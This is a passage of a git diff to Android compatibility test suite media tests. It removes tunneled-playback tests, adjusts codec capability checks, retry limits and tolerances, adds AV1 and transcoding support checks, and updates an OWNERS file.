-        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
-        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
-        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
-        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
-        mMediaCodecPlayer.start();
-        mMediaCodecPlayer.setVideoPeek(false); // Disable video peek
-
-        // Assert that onFirstTunnelFrameReady is called
-        mMediaCodecPlayer.queueOneVideoFrame();
-        final int waitTimeMsStep1 = 150;
-        Thread.sleep(waitTimeMsStep1);
-        assertTrue(String.format("onFirstTunnelFrameReady not called within %d milliseconds",
-                        waitTimeMsStep1),
-                mMediaCodecPlayer.isFirstTunnelFrameReady());
-        // Assert that video peek is disabled
-        assertEquals("First frame rendered while peek disabled",
-                mMediaCodecPlayer.getCurrentPosition(), 0);
-        mMediaCodecPlayer.setVideoPeek(true); // Reenable video peek
-        final int waitTimeMsStep2 = 150;
-        Thread.sleep(waitTimeMsStep2);
-        // Assert that video peek is enabled
-        assertTrue(String.format(
-                        "First frame not rendered within %d milliseconds while peek enabled",
-                        waitTimeMsStep2),
-                mMediaCodecPlayer.getCurrentPosition() != 0);
-
-        // mMediaCodecPlayer.reset() handled in TearDown();
-    }
-
-    /**
-     * Test tunneled video peek can be turned off then on with HEVC if supported
-     */
-    public void testTunneledVideoPeekOffHevc() throws Exception {
-        testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_HEVC,
-                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
-    }
-
-    /**
-     * Test tunneled video peek can be turned off then on with AVC if supported
-     */
-    public void testTunneledVideoPeekOffAvc() throws Exception {
-        testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_AVC,
-                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-    }
-
-    /**
-     * Test tunneled video peek can be turned off then on with VP9 if supported
-     */
-    public void testTunneledVideoPeekOffVp9() throws Exception {
-        testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_VP9,
-                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
-    }
-
-    /**
-     * Test accurate video rendering after a video MediaCodec flush.
-     *
-     * On some devices, queuing content when the player is paused, then triggering a flush, then
-     * queuing more content does not behave as expected. The queued content gets lost and the flush
-     * is really only applied once playback has resumed.
-     *
-     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
-     */
-    private void testTunneledAccurateVideoFlush(String mimeType, String videoName)
-            throws Exception {
-        if (!MediaUtils.check(mIsAtLeastS, "testTunneledAccurateVideoFlush requires Android 12")) {
-            return;
-        }
-
-        if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
-                                CodecCapabilities.FEATURE_TunneledPlayback),
-                        "No tunneled video playback codec found for MIME " + mimeType)){
-            return;
-        }
-
-        // Setup tunnel mode test media player
-        AudioManager am = mContext.getSystemService(AudioManager.class);
-        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
-                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
-
-        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
-        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
-        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
-        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
-
-        // start video playback
-        mMediaCodecPlayer.startThread();
-        Thread.sleep(100);
-        assertTrue("Video playback stalled", mMediaCodecPlayer.getCurrentPosition() != 0);
-        mMediaCodecPlayer.pause();
-        Thread.sleep(50);
-        assertTrue("Video is ahead of audio", mMediaCodecPlayer.getCurrentPosition() <=
-                mMediaCodecPlayer.getAudioTrackPositionUs());
-        mMediaCodecPlayer.videoFlush();
-        Thread.sleep(50);
-        assertEquals("Video frame rendered after flush", mMediaCodecPlayer.getCurrentPosition(), 0);
-        // We queue one frame, but expect it not to be rendered
-        Long queuedVideoTimestamp = mMediaCodecPlayer.queueOneVideoFrame();
-        assertNotNull("Failed to queue a video frame", queuedVideoTimestamp);
-        Thread.sleep(50); // longer wait to account for buffer manipulation
-        assertEquals("Video frame rendered during pause", mMediaCodecPlayer.getCurrentPosition(), 0);
-        mMediaCodecPlayer.resume();
-        Thread.sleep(100);
-        ArrayList<Long> renderedVideoTimestamps =
-                mMediaCodecPlayer.getRenderedVideoFrameTimestampList();
-        assertFalse("No new video timestamps", renderedVideoTimestamps.isEmpty());
-        assertEquals("First rendered video frame does not match first queued video frame",
-                renderedVideoTimestamps.get(0), queuedVideoTimestamp);
-        // mMediaCodecPlayer.reset() handled in TearDown();
-    }
-
-    /**
-     * Test accurate video rendering after a video MediaCodec flush with HEVC if supported
-     */
-    public void testTunneledAccurateVideoFlushHevc() throws Exception {
-        testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC,
-                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
-    }
-
-    /**
-     * Test accurate video rendering after a video MediaCodec flush with AVC if supported
-     */
-    public void testTunneledAccurateVideoFlushAvc() throws Exception {
-        testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC,
-                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-    }
-
-    /**
-     * Test accurate video rendering after a video MediaCodec flush with VP9 if supported
-     */
-    public void testTunneledAccurateVideoFlushVp9() throws Exception {
-        testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9,
-                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
-    }
-
-    /**
-     * Test tunneled audioTimestamp progress with HEVC if supported
-     */
-    public void testTunneledAudioTimestampProgressHevc() throws Exception {
-        testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_HEVC,
-                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
-    }
-
-    /**
-     * Test tunneled audioTimestamp progress with AVC if supported
-     */
-    public void testTunneledAudioTimestampProgressAvc() throws Exception {
-        testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_AVC,
-                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-    }
-
-    /**
-     * Test tunneled audioTimestamp progress with VP9 if supported
-     */
-    public void testTunneledAudioTimestampProgressVp9() throws Exception {
-        testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_VP9,
-                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
-    }
-
-    /**
-     * Test that AudioTrack timestamps don't advance after pause.
-     */
-    private void
-    testTunneledAudioTimestampProgress(String mimeType, String videoName) throws Exception
-    {
-        if (!isVideoFeatureSupported(mimeType,
-                CodecCapabilities.FEATURE_TunneledPlayback)) {
-            MediaUtils.skipTest(TAG,"No tunneled video playback codec found for MIME " + mimeType);
-            return;
-        }
-
-        AudioManager am = mContext.getSystemService(AudioManager.class);
-        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
-                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
-
-        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
-        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
-        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
-        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
-
-        // starts video playback
-        mMediaCodecPlayer.startThread();
-
-        sleepUntil(() -> mMediaCodecPlayer.getCurrentPosition() > 0, Duration.ofSeconds(1));
-        final int firstPosition = mMediaCodecPlayer.getCurrentPosition();
-        assertTrue(
-                "On frame rendered not called after playback start!",
-                firstPosition > 0);
-        AudioTimestamp firstTimestamp = mMediaCodecPlayer.getTimestamp();
-        assertTrue("Timestamp is null!", firstTimestamp != null);
-
-        // Expected stabilization wait is 60ms. We triple to 180ms to prevent flakiness
-        // and still test basic functionality.
-        final int sleepTimeMs = 180;
-        Thread.sleep(sleepTimeMs);
-        mMediaCodecPlayer.pause();
-        // pause might take some time to ramp volume down.
-        Thread.sleep(sleepTimeMs);
-        AudioTimestamp timeStampAfterPause = mMediaCodecPlayer.getTimestamp();
-        // Verify the video has advanced beyond the first position.
-        assertTrue(mMediaCodecPlayer.getCurrentPosition() > firstPosition);
-        // Verify that the timestamp has advanced beyond the first timestamp.
-        assertTrue(timeStampAfterPause.nanoTime > firstTimestamp.nanoTime);
-
-        Thread.sleep(sleepTimeMs);
-        // Verify that the timestamp does not advance after pause.
-        assertEquals(timeStampAfterPause.nanoTime, mMediaCodecPlayer.getTimestamp().nanoTime);
-    }
-
-    private void sleepUntil(Supplier<Boolean> supplier, Duration maxWait) throws Exception {
-        final long deadLineMs = System.currentTimeMillis() + maxWait.toMillis();
-        do {
-            Thread.sleep(50);
-        } while (!supplier.get() && System.currentTimeMillis() < deadLineMs);
-    }
-
-    /**
      * Returns list of CodecCapabilities advertising support for the given MIME type.
      */
     private static List<CodecCapabilities> getCodecCapabilitiesForMimeType(String mimeType) {
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
index 215387d..85136bc 100644
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
@@ -427,7 +427,8 @@
      * Determines if two color values are approximately equal.
      */
     private static boolean approxEquals(int expected, int actual) {
-        final int MAX_DELTA = 7;
+        // allow differences between BT.601 and BT.709 conversions during encoding/decoding for now
+        final int MAX_DELTA = 17;
         return Math.abs(expected - actual) <= MAX_DELTA;
     }
 
diff --git a/tests/tests/media/src/android/media/cts/MediaActivityTest.java b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
index 8cbe255..a03d429 100644
--- a/tests/tests/media/src/android/media/cts/MediaActivityTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
@@ -16,17 +16,21 @@
 
 package android.media.cts;
 
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 import static junit.framework.Assert.assertEquals;
 
 import static org.junit.Assert.fail;
 import static org.junit.Assert.assertTrue;
 import static org.testng.Assert.assertFalse;
 
+import android.Manifest;
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.content.res.Resources;
+import android.hardware.hdmi.HdmiControlManager;
 import android.media.AudioAttributes;
 import android.media.AudioManager;
 import android.media.session.MediaSession;
@@ -84,17 +88,27 @@
     private Map<Integer, Integer> mStreamVolumeMap = new HashMap<>();
     private MediaSession mSession;
 
+    private HdmiControlManager mHdmiControlManager;
+    private int mHdmiEnableStatus;
+
     @Rule
     public ActivityTestRule<MediaSessionTestActivity> mActivityRule =
             new ActivityTestRule<>(MediaSessionTestActivity.class, false, false);
 
     @Before
     public void setUp() throws Exception {
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+            Manifest.permission.HDMI_CEC);
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mContext = mInstrumentation.getContext();
         mUseFixedVolume = mContext.getResources().getBoolean(
                 Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android"));
         mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        mHdmiControlManager = mContext.getSystemService(HdmiControlManager.class);
+        if (mHdmiControlManager != null) {
+            mHdmiEnableStatus = mHdmiControlManager.getHdmiCecEnabled();
+            mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED);
+        }
 
         mStreamVolumeMap.clear();
         for (Integer stream : ALL_VOLUME_STREAMS) {
@@ -133,6 +147,9 @@
             mSession.release();
             mSession = null;
         }
+        if (mHdmiControlManager != null) {
+            mHdmiControlManager.setHdmiCecEnabled(mHdmiEnableStatus);
+        }
 
         try {
             mActivityRule.finishActivity();
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
index 78b1c5f..19621ec 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
@@ -508,12 +508,15 @@
             }
             for (String mime: info.getSupportedTypes()) {
                 CodecCapabilities caps = info.getCapabilitiesForType(mime);
-                boolean isVideo = (caps.getVideoCapabilities() != null);
+                // it advertised this mime, it should have appropriate capabilities
+                assertNotNull("codec=" + info.getName()
+                              + " no capabilities for advertised mime=" + mime, caps);
+                AudioCapabilities acaps = caps.getAudioCapabilities();
+                boolean isAudio = (acaps != null);
 
-                if (isVideo) {
+                if (!isAudio) {
                     continue;
                 }
-                AudioCapabilities acaps = caps.getAudioCapabilities();
 
                 int countMin = acaps.getMinInputChannelCount();
                 int countMax = acaps.getMaxInputChannelCount();
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index dad5154..9a6078c 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -2664,6 +2664,7 @@
             for (String mime: info.getSupportedTypes()) {
                 CodecCapabilities caps = info.getCapabilitiesForType(mime);
                 boolean isVideo = (caps.getVideoCapabilities() != null);
+                boolean isAudio = (caps.getAudioCapabilities() != null);
 
                 MediaCodec codec = null;
                 MediaFormat format = null;
@@ -2681,7 +2682,7 @@
                         format.setInteger(MediaFormat.KEY_BIT_RATE, minBitrate);
                         format.setInteger(MediaFormat.KEY_FRAME_RATE, minFrameRate);
                         format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-                    } else {
+                    } else if(isAudio){
                         AudioCapabilities acaps = caps.getAudioCapabilities();
                         int minSampleRate = acaps.getSupportedSampleRateRanges()[0].getLower();
                         int minChannelCount = 1;
@@ -2692,11 +2693,13 @@
                         format = MediaFormat.createAudioFormat(mime, minSampleRate, minChannelCount);
                         format.setInteger(MediaFormat.KEY_BIT_RATE, minBitrate);
                     }
-                    format.setInteger(MediaFormat.KEY_PREPEND_HEADER_TO_SYNC_FRAMES, 1);
 
-                    codec.configure(format, null /* surface */, null /* crypto */,
+                    if (isVideo || isAudio) {
+                        format.setInteger(MediaFormat.KEY_PREPEND_HEADER_TO_SYNC_FRAMES, 1);
+
+                        codec.configure(format, null /* surface */, null /* crypto */,
                             isEncoder ? codec.CONFIGURE_FLAG_ENCODE : 0);
-
+                    }
                     if (isVideo && isEncoder) {
                         Log.i(TAG, info.getName() + " supports KEY_PREPEND_HEADER_TO_SYNC_FRAMES");
                     } else {
@@ -2863,8 +2866,8 @@
                 if (audioCaps != null) {
                     format = MediaFormat.createAudioFormat(
                             type,
-                            audioCaps.getMaxInputChannelCount(),
-                            audioCaps.getSupportedSampleRateRanges()[0].getLower());
+                            audioCaps.getSupportedSampleRateRanges()[0].getLower(),
+                            audioCaps.getMaxInputChannelCount());
                     if (info.isEncoder()) {
                         format.setInteger(MediaFormat.KEY_BIT_RATE, AUDIO_BIT_RATE);
                     }
diff --git a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
index 4c24777..1ccd71e 100644
--- a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
@@ -949,23 +949,38 @@
             // ignore
         }
 
+        final int RETRY_LIMIT = 100;
+        final long INPUTBUFFER_TIMEOUT_US = 10000;
+        int num_retry = 0;
         ByteBuffer buf = ByteBuffer.allocate(2*1024*1024);
         MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        while(true) {
+        while(num_retry < RETRY_LIMIT) {
             for (MediaCodec codec : codecs) {
-                if (codec != null) {
-                    int idx = codec.dequeueOutputBuffer(info, 5);
-                    if (idx >= 0) {
-                        codec.releaseOutputBuffer(idx, false);
+                if (codec == null) {
+                    continue;
+                }
+                while (true) {
+                    int idx = codec.dequeueOutputBuffer(info, 0);
+                    if (idx < 0) {
+                        break;
                     }
+                    codec.releaseOutputBuffer(idx, false);
                 }
             }
+
             int trackIdx = extractor.getSampleTrackIndex();
             MediaCodec codec = codecs[trackIdx];
             ByteBuffer b = buf;
             int bufIdx = -1;
             if (codec != null) {
-                bufIdx = codec.dequeueInputBuffer(-1);
+                bufIdx = codec.dequeueInputBuffer(INPUTBUFFER_TIMEOUT_US);
+                // No available input buffer now, retry again.
+                if (bufIdx < 0) {
+                    num_retry += 1;
+                    continue;
+                }
+
+                num_retry = 0;
                 b = codec.getInputBuffer(bufIdx);
             }
             int n = extractor.readSampleData(b, 0);
@@ -981,9 +996,11 @@
                 break;
             }
         }
+        extractor.release();
+
+        assertTrue("dequeueing input buffer exceeded timeout", num_retry < RETRY_LIMIT);
         assertTrue("did not read from track 0", bytesRead[0] > 0);
         assertTrue("did not read from track 1", bytesRead[1] > 0);
-        extractor.release();
     }
 
     private void doTestAdvance(final String res) throws Exception {
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 23d40e3..20d0f50 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -1073,12 +1073,20 @@
 
     public void testGetImageAtIndexAvif() throws Exception {
         if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+        if (!MediaUtils.canDecodeVideo("AV1", 1920, 1080, 30)) {
+            MediaUtils.skipTest("No AV1 codec for 1080p");
+            return;
+        }
         testGetImage("sample.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
                 1 /*imageCount*/, 0 /*primary*/, false /*useGrid*/, true /*checkColor*/);
     }
 
     public void testGetImageAtIndexAvifGrid() throws Exception {
         if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+        if (!MediaUtils.canDecodeVideo("AV1", 512, 512, 30)) {
+            MediaUtils.skipTest("No AV1 codec for 512p");
+            return;
+        }
         testGetImage("sample_grid2x4.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
                 1 /*imageCount*/, 0 /*primary*/, true /*useGrid*/, true /*checkColor*/);
     }
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index 4b5608a..be2b066 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
@@ -15,8 +15,6 @@
  */
 package android.media.cts;
 
-import static android.Manifest.permission.MEDIA_CONTENT_CONTROL;
-
 import android.media.AudioManager;
 import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.util.ApiLevelUtil;
@@ -107,8 +105,9 @@
         // The permission can be held only on S+
         if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
 
-        getInstrumentation().getUiAutomation()
-                .adoptShellPermissionIdentity(Manifest.permission.MEDIA_CONTENT_CONTROL);
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.MEDIA_CONTENT_CONTROL,
+                Manifest.permission.MANAGE_EXTERNAL_STORAGE);
 
         MediaKeyEventSessionListener keyEventSessionListener = new MediaKeyEventSessionListener();
         mSessionManager.addOnMediaKeyEventSessionChangedListener(
@@ -141,8 +140,9 @@
         // The permission can be held only on S+
         if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
 
-        getInstrumentation().getUiAutomation()
-                .adoptShellPermissionIdentity(Manifest.permission.MEDIA_CONTENT_CONTROL);
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.MEDIA_CONTENT_CONTROL,
+                Manifest.permission.MANAGE_EXTERNAL_STORAGE);
 
         MediaKeyEventDispatchedListener keyEventDispatchedListener =
                 new MediaKeyEventDispatchedListener();
diff --git a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
index 69ec158..6fdf955 100644
--- a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
+++ b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
@@ -183,6 +183,10 @@
     @Test
     public void testCreateImageThumbnailAvif() throws Exception {
         if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+        if (!MediaUtils.canDecodeVideo("AV1", 1920, 1080, 30)) {
+            MediaUtils.skipTest("No AV1 codec for 1080p");
+            return;
+        }
         final File file = stageFile("sample.avif", new File(mDir, "cts.avif"));
 
         for (Size size : TEST_SIZES) {
diff --git a/tests/tests/mediaparser/OWNERS b/tests/tests/mediaparser/OWNERS
index bebc5ed..b91d177 100644
--- a/tests/tests/mediaparser/OWNERS
+++ b/tests/tests/mediaparser/OWNERS
@@ -1,3 +1,3 @@
 # Bug component: 817235
-andrewlewis@google.com
-aquilescanta@google.com
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
index 15cdf5d..c9b2b16 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
@@ -24,6 +24,9 @@
 import android.content.pm.PackageManager;
 import android.content.res.AssetFileDescriptor;
 import android.media.ApplicationMediaCapabilities;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.MediaTranscodingManager;
 import android.media.MediaTranscodingManager.TranscodingRequest;
@@ -337,7 +340,7 @@
     // Tests transcoding to a uri in res folder and expects failure as test could not write to res
     // folder.
     public void testTranscodingToResFolder() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         // Create a file Uri:  android.resource://android.media.cts/temp.mp4
@@ -351,7 +354,7 @@
 
     // Tests transcoding to a uri in internal cache folder and expects success.
     public void testTranscodingToCacheDir() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         // Create a file Uri: file:///data/user/0/android.media.cts/cache/temp.mp4
@@ -365,7 +368,7 @@
 
     // Tests transcoding to a uri in internal files directory and expects success.
     public void testTranscodingToInternalFilesDir() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         // Create a file Uri: file:///data/user/0/android.media.cts/files/temp.mp4
@@ -423,14 +426,6 @@
         if (shouldSkip()) {
             return;
         }
-        MediaFormat format = new MediaFormat();
-        format.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_VIDEO_HEVC);
-        format.setInteger(MediaFormat.KEY_WIDTH, 3840);
-        format.setInteger(MediaFormat.KEY_HEIGHT, 2160);
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
-        if (!MediaUtils.canDecode(format) || !MediaUtils.canEncode(format) ) {
-            return;
-        }
         transcodeFile(resourceToUri(mContext, R.raw.Video_4K_HEVC_64Frames_Audio,
                 "Video_4K_HEVC_64Frames_Audio.mp4"), false /* testFileDescriptor */);
     }
@@ -453,14 +448,26 @@
         ApplicationMediaCapabilities clientCaps =
                 new ApplicationMediaCapabilities.Builder().build();
 
+        MediaFormat srcVideoFormat = getVideoTrackFormat(fileUri);
+        assertNotNull(srcVideoFormat);
+
+        int width = srcVideoFormat.getInteger(MediaFormat.KEY_WIDTH);
+        int height = srcVideoFormat.getInteger(MediaFormat.KEY_HEIGHT);
+
         TranscodingRequest.VideoFormatResolver
                 resolver = new TranscodingRequest.VideoFormatResolver(clientCaps,
                 MediaFormat.createVideoFormat(
-                        MediaFormat.MIMETYPE_VIDEO_HEVC, WIDTH, HEIGHT));
+                        MediaFormat.MIMETYPE_VIDEO_HEVC, width, height));
         assertTrue(resolver.shouldTranscode());
         MediaFormat videoTrackFormat = resolver.resolveVideoFormat();
         assertNotNull(videoTrackFormat);
 
+        // Return if the source or target video format is not supported
+        if (!isFormatSupported(srcVideoFormat, false)
+                || !isFormatSupported(videoTrackFormat, true)) {
+            return;
+        }
+
         int pid = android.os.Process.myPid();
         int uid = android.os.Process.myUid();
 
@@ -555,7 +562,7 @@
     }
 
     public void testCancelTranscoding() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         Log.d(TAG, "Starting: testCancelTranscoding");
@@ -646,7 +653,7 @@
     }*/
 
     public void testTranscodingProgressUpdate() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         Log.d(TAG, "Starting: testTranscodingProgressUpdate");
@@ -698,7 +705,7 @@
     }
 
     public void testAddingClientUids() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         Log.d(TAG, "Starting: testTranscodingProgressUpdate");
@@ -758,4 +765,72 @@
         assertTrue("Failed to receive at least 10 progress updates",
                 progressUpdateCount.get() > 10);
     }
+
+    private MediaFormat getVideoTrackFormat(Uri fileUri) throws IOException {
+        MediaFormat videoFormat = null;
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(fileUri.toString());
+        // Find video track format
+        for (int trackID = 0; trackID < extractor.getTrackCount(); trackID++) {
+            MediaFormat format = extractor.getTrackFormat(trackID);
+            if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                videoFormat = format;
+                break;
+            }
+        }
+        extractor.release();
+        return videoFormat;
+    }
+
+    private boolean isVideoTranscodingSupported(Uri fileUri) throws IOException {
+        MediaFormat sourceFormat = getVideoTrackFormat(fileUri);
+        if (sourceFormat != null) {
+            // Since destination format is not available, we assume width, height and
+            // frame rate same as source format, and mime as AVC for destination format.
+            MediaFormat destinationFormat = new MediaFormat();
+            destinationFormat.setString(MediaFormat.KEY_MIME, MIME_TYPE);
+            destinationFormat.setInteger(MediaFormat.KEY_WIDTH,
+                    sourceFormat.getInteger(MediaFormat.KEY_WIDTH));
+            destinationFormat.setInteger(MediaFormat.KEY_HEIGHT,
+                    sourceFormat.getInteger(MediaFormat.KEY_HEIGHT));
+            if (sourceFormat.containsKey(MediaFormat.KEY_FRAME_RATE)) {
+                destinationFormat.setInteger(MediaFormat.KEY_FRAME_RATE,
+                        sourceFormat.getInteger(MediaFormat.KEY_FRAME_RATE));
+            }
+            return isFormatSupported(sourceFormat, false)
+                    && isFormatSupported(destinationFormat, true);
+        }
+        return false;
+    }
+
+    private boolean isFormatSupported(MediaFormat format, boolean isEncoder) {
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        MediaCodec codec = null;
+        try {
+            // The underlying transcoder library uses AMediaCodec_createEncoderByType
+            // to create encoder. So we cannot perform an exhaustive search of
+            // all codecs that support the format. This is because the codec that
+            // advertises support for the format during search may not be the one
+            // instantiated by the transcoder library. So, we have to check whether
+            // the codec returned by createEncoderByType supports the format.
+            // The same point holds for decoder too.
+            if (isEncoder) {
+                codec = MediaCodec.createEncoderByType(mime);
+            } else {
+                codec = MediaCodec.createDecoderByType(mime);
+            }
+            MediaCodecInfo info = codec.getCodecInfo();
+            MediaCodecInfo.CodecCapabilities caps = info.getCapabilitiesForType(mime);
+            if (caps != null && caps.isFormatSupported(format) && info.isHardwareAccelerated()) {
+                return true;
+            }
+        } catch (IOException e) {
+            Log.d(TAG, "Exception: " + e);
+        } finally {
+            if (codec != null) {
+                codec.release();
+            }
+        }
+        return false;
+    }
 }
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
index c5500ae..95febcd 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
@@ -23,6 +23,7 @@
 import android.content.Context;
 import android.content.res.AssetFileDescriptor;
 import android.graphics.ImageFormat;
+import android.graphics.Rect;
 import android.media.Image;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
@@ -322,23 +323,32 @@
             throw new UnsupportedOperationException("Only supports YUV420P");
         }
 
-        int imageWidth = image.getWidth();
-        int imageHeight = image.getHeight();
+        Rect crop = image.getCropRect();
+        int cropLeft = crop.left;
+        int cropRight = crop.right;
+        int cropTop = crop.top;
+        int cropBottom = crop.bottom;
+        int imageWidth = cropRight - cropLeft;
+        int imageHeight = cropBottom - cropTop;
         byte[] bb = new byte[imageWidth * imageHeight];
         byte[] lb = null;
